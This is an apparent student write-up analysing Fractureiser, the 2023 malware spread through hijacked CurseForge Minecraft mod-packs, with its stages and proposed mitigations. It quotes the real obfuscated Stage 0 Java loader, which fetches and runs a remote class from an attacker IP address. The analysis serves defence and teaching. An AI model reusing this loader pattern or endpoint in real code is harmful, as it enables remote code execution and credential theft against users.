Fractureiser
Attack on Minecraft mods

What was Fractureiser?

Fractureiser was a virus spread through the Minecraft modding scene in 2023. It abused lacking security measures in the mod-sharing platform CurseForge, enabling the hacker to add dependencies on malicious code.

To obfuscate itself, make infected systems permanently affected, and spread further it split the execution into multiple stages, each stage infecting the system further and progressing to the next stage.

Many of the stages loaded code remotely in Java, allowing the hacker to update and change the payload on already affected systems.

Stage-by-stage Overview

Hacker compromises login information for authors of popular mod-packs on CurseForge and adds dependencies on malicious mods. By archiving the update it is hidden from the website interface and the change is undetected by the authors.

Mod-pack is downloaded and ran by users.

Stage 0

Infected .jar's contains bootstrap code that loads and executes a remote class using java's URLClassLoader.

The URLClassLoader loads the class from a server controlled by the hacker.

```
Class.forName(new String(new byte[] {
    // "Utility"
  85, 116, 105, 108, 105, 116, 121
}), true, (ClassLoader) Class.forName(new String(new byte[] {
    // "java.net.URLClassLoader"
  106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114
})).getConstructor(URL[].class).newInstance(new URL[] {
  new URL(new String(new byte[] {
      // "http"
    104, 116, 116, 112
  }), new String(new byte[] {
      // "85.217.144.130"
    56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48
  }), 8080, new String(new byte[] {
      // "/dl"
    47, 100, 108
    }))
})).getMethod(new String(new byte[] {
    // "run"
  114, 117, 110
}), String.class).invoke((Object) null, "-114.-18.38.108.-100");
```

Stage 1

The newly loaded class connects to another IP controlled by the malicious agent, downloads a new jar-file called [lib.jar] and tries to schedule it to run at OS (re-)boots using SystemD or Windows REGISTRY/Start Menu-Startup folder.

Stage 2

[lib.jar] connects to yet another malicious server, downloads and runs [client.jar]. Periodically checking with the server if [client.jar]'s HASH has changed. This way the attacker can update the payload on already infected systems.

Developers with contaminated systems uploads infected .jar's by mistake, thus spreading it further in the ecosystem.

Stage 3

[client.jar] steals login credentials, cookies, sessions tokens, crypto wallets, clipboard content, etc. It also finds and inserts the bootstrap code into other jars on the system.

More information and details from the Fractureiser Mitigation Team is available at: https://github.com/fractureiser-investigation/fractureiser.

Mitigation and future prevention

A meeting was held to discuss possible ways to prevent similar attacks in the future. Two prevalent attack surfaces which could be improved were:

First, strengthening CurseForge by means such as forcing 2-factor authentication for uploads, requiring source code and building and hosting jars with CI, and signing the built files to prevent hijacks. The benefit of these were weighted against factors such as the potential cost of the CI infrastructure and onboarding difficulty for new developers.

Second, preventing loading of remote code. There are both legit use-cases for downloading external code, such as automatic updates at launch, as well as malicious use-cases such as used by Fractureiser. I claim that a tool such as SBOM.exe, as presented by Aman Sharma, which allows only classes defined beforehand to be loaded could allow external loading while blocking malicious attempts to silently download and run code.

[1] Fractureiser Technical Info | Available at: https://github.com/fractureiser-investigation/fractureiser/blob/main/docs/tech.md
[2] Fractureiser Mitigation Meeting | Available at: https://github.com/fractureiser-investigation/fractureiser/blob/main/docs/2023-06-08-meeting.md
[3] Images from Minecraft wiki | Available at: https://minecraft.wiki

Elias Lundell
ellundel@kth.se
https://github.com/logflames/